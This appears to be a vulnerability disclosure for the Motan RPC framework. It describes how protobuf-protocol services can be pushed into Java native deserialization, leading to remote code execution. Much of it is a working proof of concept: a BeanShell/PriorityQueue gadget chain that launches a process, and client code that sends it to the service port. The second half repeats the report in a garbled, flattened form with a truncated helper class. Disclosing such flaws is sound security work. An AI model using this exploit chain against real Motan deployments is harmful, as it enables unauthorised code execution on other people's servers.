Problem Statement
Motan supports the utilization of the protobuf protocol within its RPC communication framework. Through analysis, we have discovered that attackers can achieve Remote Code Execution(RCE) attacks by sending meticulously crafted serialized data to the service port utilizing protobuf protocol.
ReproduceProvider Side
We employed the built-in module "motan-demo" of the project to set up the test environment for the attack. The JDK version used is 8u351.
According to the configuration, attackers send meticulously crafted serialized data to port
8003 to exploit the vulnerability. The following section outlines the process of constructing the serialized data.
Attack Principle
As depicted in Figure (a) below, when clazz represents a superclass of Throwable.class, the Java native deserialization protocol is employed. The ObjectInputStream.readObject method is used to deserialize the received data.
The clazz is derived from the parameterDesc in Figure (b) (Line 309), and this variable is extracted from the serialized data sent by the attacker (Line 302), allowing the attacker to exercise arbitrary control over it. Hence, attackers can prompt the Provider side to employ the JDK's native deserialization protocol for deserializing arbitrary serialized data, thereby achieving Remote Command Execution (RCE) attacks.
(a)
(b)
Below, a comprehensive POC example is presented based on a well-known and established gadget chain.
POC
Step1: Construct the attack-side service interface (since the actual existence of the service interface is not verified prior to the completion of deserialization attack, attackers can deploy it arbitrarily). Among these, the getBshObject() method in Line 13 contains the serialized data injected with malicious instructions by the attacker. A detailed code example is provided in Step 3.
public interface MotanDemoServiceTest {
Object testPD(Object obj) throws Exception;
}
- Step2: In the serialized data sent to the Provider Side, modify the parameter (`java.lang.Object`) of the `testPD` method to `java.lang.Throwable`. This modification can be simply accomplished using the following approach (Line 165).
<img width="348" alt="image" src="https://github.com/weibocom/motan/assets/142065397/789b1608-2fc8-499b-9d0d-96c1153248bf">
- Step3: Due to the utilization of the JDK's native deserialization protocol at this deserialization point, and the absence of any configured blacklists, a multitude of well-known gadget chains can be employed for attacks. Below, an example is provided using a well-known gadget chain (e.g. in `getBshObject()`).
- This gadget chain relies on a popular component and is configured as follows.
org.beanshellbsh2.0b5
- Exploit code example within `getBshObject()`
public static Object getBshObject() throws Exception {
// BeanShell payload
String payload =
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
Strings.join( // does not support spaces in quotes
Arrays.asList("open /System/Applications/Calculator.app".replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
",", "\"", "\"") +
"}).start();return new Integer(1);}";
Interpreter i = new Interpreter();
i.eval(payload);
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
Problem Statement Motan supports the utilization of the protobuf protocol within its RPC communication framework. Through analysis, we have discovered that attackers can achieve Remote Code Execution(RCE) attacks by sending meticulously crafted serialized data to the service port utilizing protobuf protocol.
Reproduce Provider Side We employed the built-in module "motan-demo" of the project to set up the test environment for the attack. The JDK version used is 8u351.
According to the configuration, attackers send meticulously crafted serialized data to port 8003 to exploit the vulnerability. The following section outlines the process of constructing the serialized data.
Attack Principle As depicted in Figure (a) below, when
clazz
represents a superclass ofThrowable.class
, the Java native deserialization protocol is employed. TheObjectInputStream.readObject
method is used to deserialize the received data. Theclazz
is derived from theparameterDesc
in Figure (b) (Line 309), and this variable is extracted from the serialized data sent by the attacker (Line 302), allowing the attacker to exercise arbitrary control over it. Hence, attackers can prompt the Provider side to employ the JDK's native deserialization protocol for deserializing arbitrary serialized data, thereby achieving Remote Command Execution (RCE) attacks.(a)
(b)
Below, a comprehensive POC example is presented based on a well-known and established gadget chain.
POC
getBshObject()
method in Line 13 contains the serialized data injected with malicious instructions by the attacker. A detailed code example is provided in Step 3.import com.weibo.motan.demo.service.MotanDemoServiceTest; import org.springframework.context.ApplicationContext; import org.springframework.context.support.ClassPathXmlApplicationContext;
import static payload.evilObjGenerator.evilObjGenerator.getBshObject;
public class MotanRpcClientTest { public static void main(String[] args) throws Exception { ApplicationContext ctx = new ClassPathXmlApplicationContext(new String[]{"classpath:motan_demo_client_test.xml"}); MotanDemoServiceTest service = (MotanDemoServiceTest) ctx.getBean("motanDemoReferer-pb"); service.testPD( getBshObject()); System.exit(0); } }
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:motan="http://api.weibo.com/schema/motan" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-2.5.xsd http://api.weibo.com/schema/motan http://api.weibo.com/schema/motan.xsd">
package com.weibo.motan.demo.service;
public interface MotanDemoServiceTest { Object testPD(Object obj) throws Exception; }
public static Object getBshObject() throws Exception { // BeanShell payload
package payload.util;
import com.nqzero.permit.Permit; import sun.reflect.ReflectionFactory;
import java.lang.reflect.AccessibleObject; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException;
public class Reflections {
}
package com.weibo.motan.demo.client;
import com.weibo.motan.demo.service.MotanDemoServiceTest; import org.springframework.context.ApplicationContext; import org.springframework.context.support.ClassPathXmlApplicationContext;
import static payload.evilObjGenerator.evilObjGenerator.getBshObject;
public class MotanRpcClientTest { public static void main(String[] args) throws Exception { ApplicationContext ctx = new ClassPathXmlApplicationContext(new String[]{"classpath:motan_demo_client_test.xml"}); MotanDemoServiceTest service = (MotanDemoServiceTest) ctx.getBean("motanDemoReferer-pb"); service.testPD( getBshObject()); System.exit(0); } }